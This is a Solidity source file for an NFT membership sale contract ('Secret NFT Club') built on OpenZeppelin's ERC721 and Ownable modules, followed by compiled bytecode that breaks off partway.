/** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SECRET NFT CLUB pragma solidity ^0.7.0; pragma abicoder v2; contract NFTClub is ERC721, Ownable { using SafeMath for uint256; string public MEMBERSHIP_PROVENANCE = ""; // IPFS URL WILL BE ADDED WHEN MEMBERSHIPS ARE ALL SOLD OUT string public LICENSE_TEXT = ""; // IT IS WHAT IT SAYS bool licenseLocked = false; // TEAM CAN'T EDIT THE LICENSE AFTER THIS GETS TRUE uint256 public constant membershipPrice = 50000000000000000; // 0.05 ETH uint public constant maxMembershipPurchase = 50; uint256 public constant MAX_MEMBERSHIPS = 1000; bool public saleIsActive = false; mapping(uint => string) public membershipNames; // Reserve 100 MEMBERSHIPS for giveaways and team uint public membershipReserve = 100; event membershipNameChange(address _by, uint _tokenId, string _name); event licenseisLocked(string _licenseText); constructor() ERC721("Secret NFT Club", "NFT") { } function withdraw() public onlyOwner { uint balance = address(this).balance; msg.sender.transfer(balance); } function reserveMemberships(address _to, uint256 _reserveAmount) public onlyOwner { uint supply = totalSupply(); require(_reserveAmount > 0 && _reserveAmount <= membershipReserve, "Not enough reserve left for team"); for (uint i = 0; i < _reserveAmount; i++) { _safeMint(_to, supply + i); } membershipReserve = membershipReserve.sub(_reserveAmount); } function setProvenanceHash(string memory provenanceHash) public onlyOwner { MEMBERSHIP_PROVENANCE = provenanceHash; } function setBaseURI(string memory baseURI) public onlyOwner { _setBaseURI(baseURI); } function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } function tokensOfOwner(address _owner) external view returns(uint256[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } // Returns the license for tokens function tokenLicense(uint _id) public view returns(string memory) { require(_id < totalSupply(), "CHOOSE A MEMBERSHIP WITHIN RANGE"); return LICENSE_TEXT; } // Locks the license to prevent further changes function lockLicense() public onlyOwner { licenseLocked = true; emit licenseisLocked(LICENSE_TEXT); } // Change the license function changeLicense(string memory _license) public onlyOwner { require(licenseLocked == false, "License already locked"); LICENSE_TEXT = _license; } function mintMembership(uint numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint a Membership"); require(numberOfTokens > 0 && numberOfTokens <= maxMembershipPurchase, "Can only mint 50 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_MEMBERSHIPS, "Purchase would exceed max supply of Memberships"); require(msg.value >= membershipPrice.mul(numberOfTokens), "Ether value sent is not correct"); for(uint i = 0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_MEMBERSHIPS) { _safeMint(msg.sender, mintIndex); } } } function changeMembershipName(uint _tokenId, string memory _name) public { require(ownerOf(_tokenId) == msg.sender, "Hey, your wallet doesn't own this membership!"); require(sha256(bytes(_name)) != sha256(bytes(membershipNames[_tokenId])), "New name is same as the current one"); membershipNames[_tokenId] = _name; emit membershipNameChange(msg.sender, _tokenId, _name); } function viewMembershipName(uint _tokenId) public view returns( string memory ){ require( _tokenId < totalSupply(), "Choose a membership within range" ); return membershipNames[_tokenId]; } // GET ALL MEMBERSHIPS OF A WALLET AS AN ARRAY OF STRINGS. WOULD BE BETTER MAYBE IF IT RETURNED A STRUCT WITH ID-NAME MATCH function membershipNamesOfOwner(address _owner) external view returns(string[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new string[](0); } else { string[] memory result = new string[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = membershipNames[ tokenOfOwnerByIndex(_owner, index) ] ; } return result; } } }
0x6080604052600436106102465760003560e01c8063715018a611610139578063b09904b5116100b6578063d8a9d6851161007a578063d8a9d6851461087f578063d9b137b2146108aa578063e076aabc146108e7578063e985e9c514610912578063eb8d24441461094f578063f2fde38b1461097a57610246565b8063b09904b51461079c578063b88d4fde146107c5578063bf4702fc146107ee578063c87b56dd14610805578063d8a84df61461084257610246565b806391758542116100fd57806391758542146106b557806395d89b41146106f25780639c3e72bd1461071d578063a22cb46514610748578063a9eb37ba1461077157610246565b8063715018a6146105e45780637d4730c9146105fb5780638462151c146106245780638521b36f146106615780638da5cb5b1461068a57610246565b806323b872dd116101c75780634f6ccce71161018b5780634f6ccce7146104d957806355f804b3146105165780636352211e1461053f5780636c0360eb1461057c57806370a08231146105a757610246565b806323b872dd1461041c5780632f745c591461044557806334918dfd146104825780633ccfd60b1461049957806342842e0e146104b057610246565b80630d78d0c11161020e5780630d78d0c1146103565780630de3226b14610372578063109695231461039d57806318160ddd146103c65780631e2d2f2f146103f157610246565b806301ffc9a71461024b57806306fdde0314610288578063081812fc146102b3578063095ea7b3146102f05780630a769bf814610319575b600080fd5b34801561025757600080fd5b50610272600480360381019061026d9190613ad8565b6109a3565b60405161027f9190614b9e565b60405180910390f35b34801561029457600080fd5b5061029d610a0a565b6040516102aa9190614bb9565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d59190613b6b565b610aac565b6040516102e79190614ab5565b60405180910390f35b3480156102fc57600080fd5b5061031760048036038101906103129190613a73565b610b31565b005b34801561032557600080fd5b50610340600480360381019061033b9190613b6b565b610c49565b60405161034d9190614bb9565b60405180910390f35b610370600480360381019061036b9190613b6b565b610cf9565b005b34801561037e57600080fd5b50610387610e97565b6040516103949190614ffd565b60405180910390f35b3480156103a957600080fd5b506103c460048036038101906103bf9190613b2a565b610ea2565b005b3480156103d257600080fd5b506103db610f38565b6040516103e89190614ffd565b60405180910390f35b3480156103fd57600080fd5b50610406610f49565b6040516104139190614ffd565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e919061396d565b610f4f565b005b34801561045157600080fd5b5061046c60048036038101906104679190613a73565b610faf565b6040516104799190614ffd565b60405180910390f35b34801561048e57600080fd5b5061049761100a565b005b3480156104a557600080fd5b506104ae6110b2565b005b3480156104bc57600080fd5b506104d760048036038101906104d2919061396d565b61117d565b005b3480156104e557600080fd5b5061050060048036038101906104fb9190613b6b565b61119d565b60405161050d9190614ffd565b60405180910390f35b34801561052257600080fd5b5061053d60048036038101906105389190613b2a565b6111c0565b005b34801561054b57600080fd5b5061056660048036038101906105619190613b6b565b611248565b6040516105739190614ab5565b60405180910390f35b34801561058857600080fd5b5061059161127f565b60405161059e9190614bb9565b60405180910390f35b3480156105b357600080fd5b506105ce60048036038101906105c99190613908565b611321565b6040516105db9190614ffd565b60405180910390f35b3480156105f057600080fd5b506105f96113e0565b005b34801561060757600080fd5b50610622600480360381019061061d9190613b94565b61151d565b005b34801561063057600080fd5b5061064b60048036038101906106469190613908565b6116ed565b6040516106589190614b7c565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613a73565b6117e6565b005b34801561069657600080fd5b5061069f611904565b6040516106ac9190614ab5565b60405180910390f35b3480156106c157600080fd5b506106dc60048036038101906106d79190613b6b565b61192e565b6040516106e99190614bb9565b60405180910390f35b3480156106fe57600080fd5b50610707611a2c565b6040516107149190614bb9565b60405180910390f35b34801561072957600080fd5b50610732611ace565b60405161073f9190614bb9565b60405180910390f35b34801561075457600080fd5b5061076f600480360381019061076a9190613a37565b611b6c565b005b34801561077d57600080fd5b50610786611ced565b6040516107939190614ffd565b60405180910390f35b3480156107a857600080fd5b506107c360048036038101906107be9190613b2a565b611cf3565b005b3480156107d157600080fd5b506107ec60048036038101906107e791906139bc565b611ddf565b005b3480156107fa57600080fd5b50610803611e41565b005b34801561081157600080fd5b5061082c60048036038101906108279190613b6b565b611f12565b6040516108399190614bb9565b60405180910390f35b34801561084e57600080fd5b5061086960048036038101906108649190613908565b612095565b6040516108769190614b5a565b60405180910390f35b34801561088b57600080fd5b50610894612242565b6040516108a19190614bb9565b60405180910390f35b3480156108b657600080fd5b506108d160048036038101906108cc9190613b6b565b6122e0565b6040516108de9190614bb9565b60405180910390f35b3480156108f357600080fd5b506108fc6123cd565b6040516109099190614ffd565b60405180910390f35b34801561091e57600080fd5b5061093960048036038101906109349190613931565b6123d2565b6040516109469190614b9e565b60405180910390f35b34801561095b57600080fd5b50610964612466565b6040516109719190614b9e565b60405180910390f35b34801561098657600080fd5b506109a1600480360381019061099c9190613908565b612479565b005b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa25780601f10610a7757610100808354040283529160200191610aa2565b820191906000526020600020905b815481529060010190602001808311610a8557829003601f168201915b5050505050905090565b6000610ab782612625565b610af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aed90614e7d565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610b3c82611248565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba490614f1d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610bcc612642565b73ffffffffffffffffffffffffffffffffffffffff161480610bfb5750610bfa81610bf5612642565b6123d2565b5b610c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3190614dbd565b60405180910390fd5b610c44838361264a565b505050565b600e6020528060005260406000206000915090508054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cf15780601f10610cc657610100808354040283529160200191610cf1565b820191906000526020600020905b815481529060010190602001808311610cd457829003601f168201915b505050505081565b600d60019054906101000a900460ff16610d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3f90614c1d565b60405180910390fd5b600081118015610d59575060328111155b610d98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8f90614ddd565b60405180910390fd5b6103e8610db582610da7610f38565b61270390919063ffffffff16565b1115610df6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ded90614cfd565b60405180910390fd5b610e108166b1a2bc2ec5000061275890919063ffffffff16565b341015610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990614d3d565b60405180910390fd5b60005b81811015610e93576000610e67610f38565b90506103e8610e74610f38565b1015610e8557610e8433826127c8565b5b508080600101915050610e55565b5050565b66b1a2bc2ec5000081565b610eaa612642565b73ffffffffffffffffffffffffffffffffffffffff16610ec8611904565b73ffffffffffffffffffffffffffffffffffffffff1614610f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1590614e9d565b60405180910390fd5b80600b9080519060200190610f3492919061370f565b5050565b6000610f4460026127e6565b905090565b600f5481565b610f60610f5a612642565b826127fb565b610f9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9690614f5d565b60405180910390fd5b610faa8383836128d9565b505050565b600061100282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612af090919063ffffffff16565b905092915050565b611012612642565b73ffffffffffffffffffffffffffffffffffffffff16611030611904565b73ffffffffffffffffffffffffffffffffffffffff1614611086576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107d90614e9d565b60405180910390fd5b600d60019054906101000a900460ff1615600d60016101000a81548160ff021916908315150217905550565b6110ba612642565b73ffffffffffffffffffffffffffffffffffffffff166110d8611904565b73ffffffffffffffffffffffffffffffffffffffff161461112e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112590614e9d565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611179573d6000803e3d6000fd5b5050565b61119883838360405180602001604052806000815250611ddf565b505050565b6000806111b4836002612b0a90919063ffffffff16565b50905080915050919050565b6111c8612642565b73ffffffffffffffffffffffffffffffffffffffff166111e6611904565b73ffffffffffffffffffffffffffffffffffffffff161461123c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123390614e9d565b60405180910390fd5b61124581612b36565b50565b600061127882604051806060016040528060298152602001615365602991396002612b509092919063ffffffff16565b9050919050565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113175780601f106112ec57610100808354040283529160200191611317565b820191906000526020600020905b8154815290600101906020018083116112fa57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138990614dfd565b60405180910390fd5b6113d9600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612b6f565b9050919050565b6113e8612642565b73ffffffffffffffffffffffffffffffffffffffff16611406611904565b73ffffffffffffffffffffffffffffffffffffffff161461145c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145390614e9d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1661153d83611248565b73ffffffffffffffffffffffffffffffffffffffff1614611593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158a90614fdd565b60405180910390fd5b6002600e60008481526020019081526020016000206040516115b59190614a7a565b602060405180830381855afa1580156115d2573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906115f59190613aaf565b6002826040516116059190614a63565b602060405180830381855afa158015611622573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906116459190613aaf565b1415611686576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167d90614efd565b60405180910390fd5b80600e600084815260200190815260200160002090805190602001906116ad92919061370f565b507faef31c9d00225a4c620b1b0328e3d5712316b52a5c8686096d7f78306407bc363383836040516116e193929190614b1c565b60405180910390a15050565b606060006116fa83611321565b9050600081141561175557600067ffffffffffffffff8111801561171d57600080fd5b5060405190808252806020026020018201604052801561174c5781602001602082028036833780820191505090505b509150506117e1565b60008167ffffffffffffffff8111801561176e57600080fd5b5060405190808252806020026020018201604052801561179d5781602001602082028036833780820191505090505b50905060005b828110156117da576117b58582610faf565b8282815181106117c157fe5b60200260200101818152505080806001019150506117a3565b8193505050505b919050565b6117ee612642565b73ffffffffffffffffffffffffffffffffffffffff1661180c611904565b73ffffffffffffffffffffffffffffffffffffffff1614611862576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185990614e9d565b60405180910390fd5b600061186c610f38565b90506000821180156118805750600f548211155b6118bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b690614cbd565b60405180910390fd5b60005b828110156118e3576118d6848284016127c8565b80806001019150506118c2565b506118f982600f54612b8490919063ffffffff16565b600f81905550505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060611938610f38565b8210611979576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197090614f9d565b60405180910390fd5b600e60008381526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a205780601f106119f557610100808354040283529160200191611a20565b820191906000526020600020905b815481529060010190602001808311611a0357829003601f168201915b50505050509050919050565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ac45780601f10611a9957610100808354040283529160200191611ac4565b820191906000526020600020905b815481529060010190602001808311611aa757829003601f168201915b5050505050905090565b600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b645780601f10611b3957610100808354040283529160200191611b64565b820191906000526020600020905b815481529060010190602001808311611b4757829003601f168201915b505050505081565b611b74612642565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd990614d1d565b60405180910390fd5b8060056000611bef612642565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611c9c612642565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611ce19190614b9e565b60405180910390a35050565b6103e881565b611cfb612642565b73ffffffffffffffffffffffffffffffffffffffff16611d19611904565b73ffffffffffffffffffffffffffffffffffffffff1614611d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6690614e9d565b60405180910390fd5b60001515600d60009054906101000a900460ff16151514611dc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbc90614f3d565b60405180910390fd5b80600c9080519060200190611ddb92919061370f565b5050565b611df0611dea612642565b836127fb565b611e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2690614f5d565b60405180910390fd5b611e3b84848484612bd4565b50505050565b611e49612642565b73ffffffffffffffffffffffffffffffffffffffff16611e67611904565b73ffffffffffffffffffffffffffffffffffffffff1614611ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb490614e9d565b60405180910390fd5b6001600d60006101000a81548160ff0219169083151502179055507f92423ccd40e13759d50d24569dcbaccb20ade47247f3cf3e3951a9f29d2048b0600c604051611f089190614bdb565b60405180910390a1565b6060611f1d82612625565b611f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5390614edd565b60405180910390fd5b6000600860008481526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120055780601f10611fda57610100808354040283529160200191612005565b820191906000526020600020905b815481529060010190602001808311611fe857829003601f168201915b50505050509050600061201661127f565b905060008151141561202c578192505050612090565b600082511115612061578082604051602001612049929190614a91565b60405160208183030381529060405292505050612090565b8061206b85612c30565b60405160200161207c929190614a91565b604051602081830303815290604052925050505b919050565b606060006120a283611321565b9050600081141561210257600067ffffffffffffffff811180156120c557600080fd5b506040519080825280602002602001820160405280156120f957816020015b60608152602001906001900390816120e45790505b5091505061223d565b60008167ffffffffffffffff8111801561211b57600080fd5b5060405190808252806020026020018201604052801561214f57816020015b606081526020019060019003908161213a5790505b50905060005b8281101561223657600e600061216b8784610faf565b81526020019081526020016000208054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561220d5780601f106121e25761010080835404028352916020019161220d565b820191906000526020600020905b8154815290600101906020018083116121f057829003601f168201915b505050505082828151811061221e57fe5b60200260200101819052508080600101915050612155565b8193505050505b919050565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122d85780601f106122ad576101008083540402835291602001916122d8565b820191906000526020600020905b8154815290600101906020018083116122bb57829003601f168201915b505050505081565b60606122ea610f38565b821061232b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232290614fbd565b60405180910390fd5b600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123c15780601f10612396576101008083540402835291602001916123c1565b820191906000526020600020905b8154815290600101906020018083116123a457829003601f168201915b50505050509050919050565b603281565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600d60019054906101000a900460ff1681565b612481612642565b73ffffffffffffffffffffffffffffffffffffffff1661249f611904565b73ffffffffffffffffffffffffffffffffffffffff16146124f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ec90614e9d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255c90614c5d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061263b826002612d7790919063ffffffff16565b9050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166126bd83611248565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60008082840190508381101561274e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274590614c9d565b60405180910390fd5b8091505092915050565b60008083141561276b57600090506127c2565b600082840290508284828161277c57fe5b04146127bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b490614e5d565b60405180910390fd5b809150505b92915050565b6127e2828260405180602001604052806000815250612d91565b5050565b60006127f482600001612dec565b9050919050565b600061280682612625565b612845576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283c90614d9d565b60405180910390fd5b600061285083611248565b90508073ffffffffffffffffffffffffffffffffffffffff168473fffffffffffffffffffffffffffff